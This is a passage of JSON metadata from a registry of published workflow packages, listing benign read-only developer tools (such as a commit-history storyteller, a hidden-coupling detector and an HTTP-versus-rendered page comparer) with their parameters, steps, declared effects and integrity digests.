passing"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:914ec8de60c8157c1b3eaff958ba44c950806de2860d5d9dff41ae04645b689f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":20,"kinds":{"api":0,"shell":20,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":14,"width":6,"fan_out":0,"for_each_steps":0,"complexity":20,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":20}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/http-vs-rendered@0.1.2","reference":"bhanu82/http-vs-rendered@0.1.2","uri":"https://play.modiqo.ai/bhanu82/http-vs-rendered@0.1.2","manifest_uri":"https://play.modiqo.ai/bhanu82/http-vs-rendered@0.1.2","name":"http-vs-rendered","title":"http-vs-rendered","description":"A public page can look full in a browser and empty to a plain GET. Compares stdlib HTTP (robots.txt + GET + title/h1/links) with a real browser extract of headings and links. Verdicts: RENDERED-SAME, JS-OWNED, HTTP-ONLY, HTTP-BLOCKED, ROBOTS-BLOCKED, DIVERGENT, INDETERMINATE. No bot User-Agents, no keys, python3 plus the local browser. Default https://example.com.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-http-vs-rendered","audience-developers","browser","public-web"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.2","published_at":"2026-09-05T09:26:48.289855+00:00","visibility":"public","quality_score":1,"size_bytes":10701,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["robots","selfcheck","http_fetch","browser_open","browser_wait","http_extract","browser_links","browser_headings"]},"parameters":[{"name":"url","type":"string","required":false,"default":"https://example.com","description":"Absolute http(s) URL to compare. Relative paths are refused.","example":"https://example.com"}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5f04da37b43e06e5153331282979657fd1e9cd183347072aa7bba1c006f1b6f6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":4,"browser":4,"auth":0,"other":0},"distinct_kinds":2,"depth":4,"width":4,"fan_out":0,"for_each_steps":0,"complexity":16,"apis":[],"tools":[{"name":"browser","kind":"tool","source":"declared","count":4},{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/sakshamsai26/sample-test-lie-detector@0.2.21","reference":"sakshamsai26/sample-test-lie-detector@0.2.21","uri":"https://play.modiqo.ai/sakshamsai26/sample-test-lie-detector@0.2.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/sample-test-lie-detector@0.2.21","name":"sample-test-lie-detector","title":"sample-test-lie-detector","description":"Explain what samples cover, what they omit, and which missing test categories could expose a false sense of correctness. Read-only: no code execution, network calls, writes, credentials, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["competitive-programming","developer-tools","education","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.21","published_at":"2026-09-05T09:01:54.801754+00:00","visibility":"public","quality_score":1,"size_bytes":3503,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","evidence","planning","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"problem","type":"string","required":true,"description":"User-supplied problem; sensitive values should be omitted"},{"name":"code","type":"string","required":true,"description":"User-supplied code; sensitive values should be omitted"},{"name":"samples","type":"string","required":true,"description":"User-supplied samples; sensitive values should be omitted"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0411a189126d7326d3787d6a867e816be6a34a7d95b20c576993a8884be60b54","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":13,"fan_out":0,"for_each_steps":0,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/commit-story-builder@0.2.22","reference":"sakshamsai26/commit-story-builder@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/commit-story-builder@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/commit-story-builder@0.2.22","name":"commit-story-builder","title":"commit-story-builder","description":"Reconstruct a bounded Git-history story into goal, stages, reversals, and final evidence. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T09:00:09.197121+00:00","visibility":"public","quality_score":1,"size_bytes":6745,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":11,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7e6b41b8b096fca185d73b1a8cc85730f77ecae56ea4e5bbbea9b9baeb466bd4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":11,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/hidden-coupling-detector@0.2.22","reference":"sakshamsai26/hidden-coupling-detector@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/hidden-coupling-detector@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/hidden-coupling-detector@0.2.22","name":"hidden-coupling-detector","title":"hidden-coupling-detector","description":"Map possible hidden coupling through config, names, schemas, files, and conventions. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:59:54.497757+00:00","visibility":"public","quality_score":1,"size_bytes":6760,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":11,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:734e7866d6dc7f635a31a5834b8e16d59e77393916db19ac044ae744feffe371","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":11,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/sponsor-track-matcher@0.2.22","reference":"sakshamsai26/sponsor-track-matcher@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/sponsor-track-matcher@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/sponsor-track-matcher@0.2.22","name":"sponsor-track-matcher","title":"sponsor-track-matcher","description":"Provide a structured sponsor-track-matcher plan from supplied project context, with explicit uncertainty and no external side effects.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:59:51.009114+00:00","visibility":"public","quality_score":1,"size_bytes":9426,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":10,"names":["cut","scope","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"idea","type":"string","required":true,"description":"Project idea and feature list."},{"name":"team","type":"string","required":true,"description":"Team size as a positive number."},{"name":"hours","type":"string","required":true,"description":"Available build hours."},{"name":"demo","type":"string","required":true,"description":"Desired demo moment."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:45fc7855ec8a8407b50c4c516ce4d33951d8035a9a099793064d44e74b6afb79","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":10,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/what-changed-while-i-was-gone@0.2.22","reference":"sakshamsai26/what-changed-while-i-was-gone@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/what-changed-while-i-was-gone@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/what-changed-while-i-was-gone@0.2.22","name":"what-changed-while-i-was-gone","title":"what-changed-while-i-was-gone","description":"Catch up on bounded local Git history and group evidence into work likely to affect a supplied context. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:59:44.753817+00:00","visibility":"public","quality_score":1,"size_bytes":6429,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":10,"names":["scope","analyze","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ec2354ff67e11fdce966b7207f70e878849a71a48244ccec846048f56e275452","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":10,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/magic-number-archaeologist@0.2.22","reference":"sakshamsai26/magic-number-archaeologist@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/magic-number-archaeologist@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/magic-number-archaeologist@0.2.22","name":"magic-number-archaeologist","title":"magic-number-archaeologist","description":"Gather bounded static evidence around constants that may deserve names or documentation. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:59:40.683975+00:00","visibility":"public","quality_score":1,"size_bytes":6765,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":11,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d9dfb42eaab8ab6a99a4fb875a41217d6dc73798f02c2c4bfd42da5fc3bf207b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":11,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/teammate-code-handoff-decoder@0.2.22","reference":"sakshamsai26/teammate-code-handoff-decoder@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/teammate-code-handoff-decoder@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/teammate-code-handoff-decoder@0.2.22","name":"teammate-code-handoff-decoder","title":"teammate-code-handoff-decoder","description":"Decode a half-finished local feature into observed progress, unfinished evidence, dependencies, and next questions. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:59:19.897191+00:00","visibility":"public","quality_score":1,"size_bytes":6761,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":11,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4d1e3e0b95cf73bbd77a4228dd551326a8c2fa28eb5b9e2c54872f6dcd520937","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":11,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/hackathon-rule-checker@0.2.22","reference":"sakshamsai26/hackathon-rule-checker@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/hackathon-rule-checker@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/hackathon-rule-checker@0.2.22","name":"hackathon-rule-checker","title":"hackathon-rule-checker","description":"Provide a structured hackathon-rule-checker plan from supplied project context, with explicit uncertainty and no external side effects.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:59:16.099397+00:00","visibility":"public","quality_score":1,"size_bytes":9378,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":9,"names":["cut","scope","boundary","classify","inventory","preflight","constraints","verification","write_report"]},"parameters":[{"name":"idea","type":"string","required":true,"description":"Project idea and feature list."},{"name":"team","type":"string","required":true,"description":"Team size as a positive number."},{"name":"hours","type":"string","required":true,"description":"Available build hours."},{"name":"demo","type":"string","required":true,"description":"Desired demo moment."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0a248b6ffd1589931e8f0e16e4b8fec3a4931c7d9be8a1f3ba0b158d59f2f90a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":9,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/professor-feedback-to-fix-plan@0.2.22","reference":"sakshamsai26/professor-feedback-to-fix-plan@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/professor-feedback-to-fix-plan@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/professor-feedback-to-fix-plan@0.2.22","name":"professor-feedback-to-fix-plan","title":"professor-feedback-to-fix-plan","description":"Translate supplied feedback into local areas to inspect and an evidence-based fix plan. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:59:08.5683+00:00","visibility":"public","quality_score":1,"size_bytes":6439,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":10,"names":["scope","analyze","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4129a992b02f1e91a82fc7d345195ab173df3ffd4e5579342391932c82165b81","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":10,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/3-am-debug-handoff@0.2.23","reference":"sakshamsai26/3-am-debug-handoff@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/3-am-debug-handoff@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/3-am-debug-handoff@0.2.23","name":"3-am-debug-handoff","title":"3-am-debug-handoff","description":"Build a concise debugging handoff from notes, logs, and bounded local context. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:40:36.433569+00:00","visibility":"public","quality_score":1,"size_bytes":8543,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:942cecd7c1a983302a428dc480d4174c873f39abee548552959cc153d01a738a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/abandoned-experiment-finder@0.2.23","reference":"sakshamsai26/abandoned-experiment-finder@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/abandoned-experiment-finder@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/abandoned-experiment-finder@0.2.23","name":"abandoned-experiment-finder","title":"abandoned-experiment-finder","description":"Report evidence of old or parallel implementations without deleting anything. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:40:32.709891+00:00","visibility":"public","quality_score":1,"size_bytes":8545,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant feature"},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d71df741a8a481594d565ad429b6a32574099754a38605f8ada4bbe289c1a5c6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":13,"kinds":{"api":0,"shell":13,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":11,"fan_out":8,"for_each_steps":1,"complexity":13,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":13}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/fallback-plan-generator@0.2.23","reference":"sakshamsai26/fallback-plan-generator@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/fallback-plan-generator@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/fallback-plan-generator@0.2.23","name":"fallback-plan-generator","title":"fallback-plan-generator","description":"Provide a structured fallback-plan-generator plan from supplied project context, with explicit uncertainty and no external side effects.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:40:31.098668+00:00","visibility":"public","quality_score":1,"size_bytes":9471,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":10,"names":["cut","scope","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"idea","type":"string","required":true,"description":"Project idea and feature list."},{"name":"team","type":"string","required":true,"description":"Team size as a positive number."},{"name":"hours","type":"string","required":true,"description":"Available build hours."},{"name":"demo","type":"string","required":true,"description":"Desired demo moment."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:601c37f28103b83244709a388b4fd492e5180a80682ffaf2197872bbd4bc7e30","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":9,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/database-change-translator@0.2.23","reference":"sakshamsai26/database-change-translator@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/database-change-translator@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/database-change-translator@0.2.23","name":"database-change-translator","title":"database-change-translator","description":"Translate local schema or migration evidence into compatibility and verification considerations. Read-only: no project code execution, writes, network calls, or secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:40:24.632374+00:00","visibility":"public","quality_score":1,"size_bytes":8548,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":13,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute local repository or project directory"},{"name":"context","type":"string","required":true,"description":"Relevant 